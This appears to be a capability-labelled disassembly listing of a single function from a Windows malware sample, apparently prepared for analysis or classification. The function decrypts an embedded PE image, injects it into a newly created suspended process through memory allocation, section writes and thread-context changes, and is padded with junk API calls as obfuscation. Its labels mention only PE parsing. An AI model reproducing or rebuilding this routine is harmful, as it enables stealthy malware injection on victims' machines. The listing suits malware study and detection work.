Function at 0x402295
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x56c
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
xor ebx, ebx
push eax
mov dword [ebp - 0x10], ebx
call fcn.004028fb
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4027a6
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc eax
push eax
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4027a6
mov eax, dword [ebp - 0x10]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 8], eax
call fcn.0040293d
add esp, 0xc
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.USER32.dll_ShowWindowAsync]
push 0xba
push dword [0x404024]
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, 0x40b230
push esi
call edi
push 9
mov dword [0x40b2c4], eax
push dword [0x404088]
call ebx
push 0x40b1e0
push dword [0x40b2c4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40b268
mov dword [0x40b284], eax
push dword [0x40b2c4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40b218
mov dword [0x40b288], eax
call edi
push 5
lea ecx, [ebp - 0x4c]
pop edi
mov dword [0x40b2c8], eax
push edi
push esi
push 0x40b254
call fcn.0040285c
push edi
push esi
push 0x40b23c
lea ecx, [ebp - 0x50]
call fcn.0040285c
push edi
push esi
push 0x40b220
lea ecx, [ebp - 0x30]
call fcn.0040285c
push edi
push 0x40b218
push 0x40b200
lea ecx, [ebp - 0x14]
call fcn.0040285c
push 2
push esi
push 0x40b1d0
lea ecx, [ebp - 0x20]
call fcn.0040285c
push dword [0x404090]
call dword [sym.imp.USER32.dll_GetParent]
push edi
push esi
push 0x40b1a8
lea ecx, [ebp - 0xc]
call fcn.0040285c
push edi
push esi
push 0x40b188
lea ecx, [ebp - 0x18]
call fcn.0040285c
push edi
push esi
push 0x40b168
lea ecx, [ebp - 0x24]
call fcn.0040285c
push dword [0x40408c]
mov edi, dword [sym.imp.USER32.dll_GetLastActivePopup]
call edi
push 5
push esi
push 0x40b14c
lea ecx, [ebp - 0x2c]
call fcn.0040285c
push dword [0x404070]
call edi
push 5
push esi
push 0x40b1f0
lea ecx, [ebp - 0x54]
call fcn.0040285c
push 5
push esi
push 0x40b1bc
lea ecx, [ebp - 0x1c]
call fcn.0040285c
push 5
push esi
push 0x40b19c
lea ecx, [ebp - 0x28]
call fcn.0040285c
push 5
push esi
push 0x40b17c
lea ecx, [ebp - 0x34]
call fcn.0040285c
call dword [0x40b284]
mov dword [0x40b2c0], eax
lea eax, [ebp - 0x19c]
push 0x104
push eax
push 0
lea eax, [ebp - 0x1c]
push 3
push eax
call fcn.004027ad
add esp, 0x14
push 0x2e
push dword [0x404064]
call ebx
push dword [section..data]
call edi
mov eax, dword [ebp - 8]
lea esi, [eax + 1]
lea eax, [ebp - 0x28]
push esi
push 0
push dword [0x40b2c0]
push 3
push eax
call fcn.004027ad
add esp, 0x14
mov dword [ebp - 8], eax
test eax, eax
je 0x40273b
dec esi
push esi
push dword [ebp - 4]
push eax
call fcn.0040293d
add esp, 0xc
push 0x96
push dword [0x404044]
call ebx
mov eax, dword [ebp - 8]
push dword [0x404050]
movsx eax, byte [eax]
mov dword [ebp - 4], eax
call edi
sub esi, dword [ebp - 4]
push 1
push dword [ebp - 4]
dec esi
mov eax, esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x48], eax
lea eax, [esi + eax + 1]
push eax
lea eax, [ebp - 0x2a0]
push eax
call fcn.00402111
push 0
inc esi
push dword [ebp - 0x48]
lea eax, [ebp - 0x2a0]
push esi
push eax
call fcn.004021ac
add esp, 0x20
push dword [0x404018]
call edi
push dword [0x404004]
call edi
push dword [0x40407c]
call edi
push dword [0x404074]
call edi
test esi, esi
je 0x40273b
push 0x6d
push dword [0x404080]
call ebx
push dword [0x40404c]
call edi
push dword [0x404068]
call dword [sym.imp.USER32.dll_GetParent]
push dword [0x4040ec]
call edi
push 0xd6
push dword [0x4040b4]
call ebx
xor ebx, ebx
push 0x44
lea eax, [ebp - 0x98]
push ebx
push eax
call fcn.004029b3
add esp, 0xc
push dword [0x404054]
call edi
push dword [0x4040e8]
mov dword [ebp - 0x98], 0x44
call edi
mov dword [ebp - 0x56c], 0x10007
mov dword [0x40b274], esi
cmp word [esi], 0x5a4d
jne 0x40273b
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [0x40b278], eax
cmp dword [eax], 0x4550
jne 0x40273b
push dword [0x404014]
call edi
push dword [0x404088]
call edi
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x98]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
lea eax, [ebp - 0x19c]
push ebx
push eax
push ebx
lea eax, [ebp - 0x30]
push 0xa
push eax
call fcn.004027ad
add esp, 0x30
push dword [0x4040cc]
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [0x40b278]
push dword [eax + 0x34]
lea eax, [ebp - 0x14]
push dword [ebp - 0x44]
push 2
push eax
call fcn.004027ad
mov eax, dword [0x40b278]
add esp, 0x10
push 0x40
push 0x3000
push dword [eax + 0x50]
push dword [eax + 0x34]
lea eax, [ebp - 0x20]
push dword [ebp - 0x44]
push 5
push eax
call fcn.004027ad
add esp, 0x1c
push dword [0x404050]
call edi
mov eax, dword [0x40b278]
push ebx
push dword [eax + 0x54]
push esi
push dword [eax + 0x34]
lea eax, [ebp - 0xc]
push dword [ebp - 0x44]
push 5
push eax
call fcn.004027ad
mov eax, dword [0x40b278]
add esp, 0x1c
xor edi, edi
cmp word [eax + 6], bx
jbe 0x4026e9
mov dword [ebp - 4], ebx
mov eax, dword [0x40b274]
push dword [0x404010]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
lea eax, [eax + esi + 0xf8]
mov dword [0x40b27c], eax
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [0x40b27c]
push ebx
mov ecx, dword [eax + 0x14]
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add ecx, esi
push ecx
mov ecx, dword [0x40b278]
add eax, dword [ecx + 0x34]
push eax
lea eax, [ebp - 0xc]
push dword [ebp - 0x44]
push 5
push eax
call fcn.004027ad
mov eax, dword [0x40b278]
add dword [ebp - 4], 0x28
add esp, 0x1c
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x402687
lea eax, [ebp - 0x56c]
push eax
lea eax, [ebp - 0x18]
push dword [ebp - 0x40]
push 2
push eax
call fcn.004027ad
mov eax, dword [0x40b278]
add esp, 0x10
mov ecx, dword [eax + 0x34]
add ecx, dword [eax + 0x28]
lea eax, [ebp - 0x56c]
push eax
lea eax, [ebp - 0x24]
push dword [ebp - 0x40]
mov dword [ebp - 0x4bc], ecx
push 2
push eax
call fcn.004027ad
add esp, 0x10
lea eax, [ebp - 0x2c]
push dword [ebp - 0x40]
push 1
push eax
call fcn.004027ad
add esp, 0xc
push dword [ebp - 0x34]
call fcn.0040299f
push dword [ebp - 0x28]
call fcn.0040299f
push dword [ebp - 0x1c]
call fcn.0040299f
push dword [ebp - 0x54]
call fcn.0040299f
push dword [ebp - 0x2c]
call fcn.0040299f
push dword [ebp - 0x24]
call fcn.0040299f
push dword [ebp - 0x18]
call fcn.0040299f
push dword [ebp - 0xc]
call fcn.0040299f
push dword [ebp - 0x20]
call fcn.0040299f
push dword [ebp - 0x14]
call fcn.0040299f
push dword [ebp - 0x30]
call fcn.0040299f
push dword [ebp - 0x50]
call fcn.0040299f
push dword [ebp - 0x4c]
call fcn.0040299f
add esp, 0x34
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret